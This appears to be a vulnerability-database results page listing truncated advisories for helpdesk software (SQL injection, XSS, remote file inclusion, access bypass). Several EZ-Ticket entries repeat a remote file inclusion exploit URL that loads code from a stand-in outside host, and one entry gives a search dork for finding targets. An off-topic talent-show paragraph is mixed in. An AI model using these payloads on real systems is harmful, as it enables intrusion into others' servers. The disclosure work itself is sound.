Sql injection

SQL injection vulnerability in vBSupport.php in vSupport Integrated Ticket System 3.x.x allows remote attackers to execute arbitrary SQL commands via the ticketid parameter in a showticket action...

CVE-2007-3196

SQL injection vulnerability in vBSupport.php in vSupport Integrated Ticket System 3.x.x allows remote attackers to execute arbitrary SQL commands via the ticketid parameter in a showticket action...

CVE-2007-3196

The CVE-2007-3196 entry concerns a SQL injection in vBSupport.php within vSupport Integrated Ticket System 3.x.x. The vulnerability is triggered by the ticketid parameter in the showticket action, allowing remote attackers to execute arbitrary SQL commands. Documents confirm the affected componen...

vSupport Integrated Ticket System 3.*.* SQL injection

+-------------------------------------------------------------------- + + Affected Software .: vSupport Integrated Ticket System + Venedor ...........: http://www.cmgsccc.com + Class .............: SQL injection + Dork ..............: inurl:vBSupport.php + Found by ..........: rUnViRuS + Original...

vsupportits-sql.txt

+-------------------------------------------------------------------- + + Affected Software .: vSupport Integrated Ticket System + Venedor ...........: http://www.cmgsccc.com + Class .............: SQL injection + Dork ..............: inurl:vBSupport.php + Found by ..........: rUnViRuS + Original...

DSA-1298-1 otrs2

Bulletin has no description...

DEBIAN-CVE-2007-2524

Cross-site scripting XSS vulnerability in index.pl in Open Ticket Request System OTRS 2.0.x allows remote attackers to inject arbitrary web script or HTML via the Subaction parameter in an AgentTicketMailbox Action. NOTE: DEBIAN:DSA-1299 originally used this identifier for an ipsec-tools issue, b...

CVE-2007-2524

Cross-site scripting XSS vulnerability in index.pl in Open Ticket Request System OTRS 2.0.x allows remote attackers to inject arbitrary web script or HTML via the Subaction parameter in an AgentTicketMailbox Action. NOTE: DEBIAN:DSA-1299 originally used this identifier for an ipsec-tools issue, b...

CVE-2007-2524

Cross-site scripting XSS vulnerability in index.pl in Open Ticket Request System OTRS 2.0.x allows remote attackers to inject arbitrary web script or HTML via the Subaction parameter in an AgentTicketMailbox Action. NOTE: DEBIAN:DSA-1299 originally used this identifier for an ipsec-tools issue, b...

"I cool my show"you rank me-the vulnerability and early warning-the black bar safety net

These days, ultra male ultra female into a fad! A few days ago I was a high school friend said she also participated in our local what“I cool my show”Award,and is currently is a network audition for. I looked, can also, has been front 6, showing the lower congratulations you didn't say anything...

PT-2006-6644

Name of the Vulnerable Software and Affected Versions DirectAdmin version 1.28.1 Description The issue allows remote authenticated users to inject arbitrary web script or HTML. This can be achieved through various parameters and commands, including the user parameter to CMD SHOW RESELLER or CMD...

CVE-2006-5523

PHP remote file inclusion vulnerability in common.php in EZ-Ticket 0.0.1 allows remote attackers to execute arbitrary PHP code via a URL in the eztrootpath parameter...

CVE-2006-5523

PHP remote file inclusion vulnerability in common.php in EZ-Ticket 0.0.1 allows remote attackers to execute arbitrary PHP code via a URL in the eztrootpath parameter...

CVE-2006-5523

EZ-Ticket 0.0.1 is affected by a PHP remote file inclusion (RFI) vulnerability in common.php, allowing remote attackers to execute arbitrary PHP code via a URL in the ezt_root_path parameter. This CVE-2006-5523 issue yields a high impact (base score 7.5) with network access and no authentication....

EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability

EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability Download: http://prdownloads.sourceforge.net/ezt/ezt-0.01.tar.gz?download Found By: the master nidhal exploit: http://Target/Path/common.php?eztrootpath=http://cmd.gif? milw0rm.com 2006-10-22...

EZ-Ticket 0.0.1 - common.php Remote File Inclusion

EZ-Ticket 0.0.1 - common.php Remote File Inclusion EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability Download: http://prdownloads.sourceforge.net/ezt/ezt-0.01.tar.gz?download Found By: the master nidhal exploit: http://Target/Path/common.php?eztrootpath=http://cmd.gif? milw0rm.com 2006-10-22...

EZ-Ticket 0.0.1 (common.php) Remote File Include Vulnerability

No description provided by source. EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability Download: http://prdownloads.sourceforge.net/ezt/ezt-0.01.tar.gz?download Found By: the master nidhal exploit: http://Target/Path/common.php?eztrootpath=http://cmd.gif? milw0rm.com 2006-10-22...

EZ-Ticket 0.0.1 (common.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ============================================================== EZ-Ticket 0.0.1 common.php Remote File Include Vulnerability ============================================================== EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability...

EZ-Ticket 0.0.1 - 'common.php' Remote File Inclusion

EZ-Ticket v0.0.1 Remote File Inclusion Vulnerability Download: http://prdownloads.sourceforge.net/ezt/ezt-0.01.tar.gz?download Found By: the master nidhal exploit: http://Target/Path/common.php?eztrootpath=http://cmd.gif? milw0rm.com 2006-10-22...

CVE-2006-5428

rpc.php in Cerberus Helpdesk 3.2.1 does not verify a client's privileges for a displaygetrequesters operation, which allows remote attackers to bypass the GUI login and obtain sensitive information ticket data via a direct request...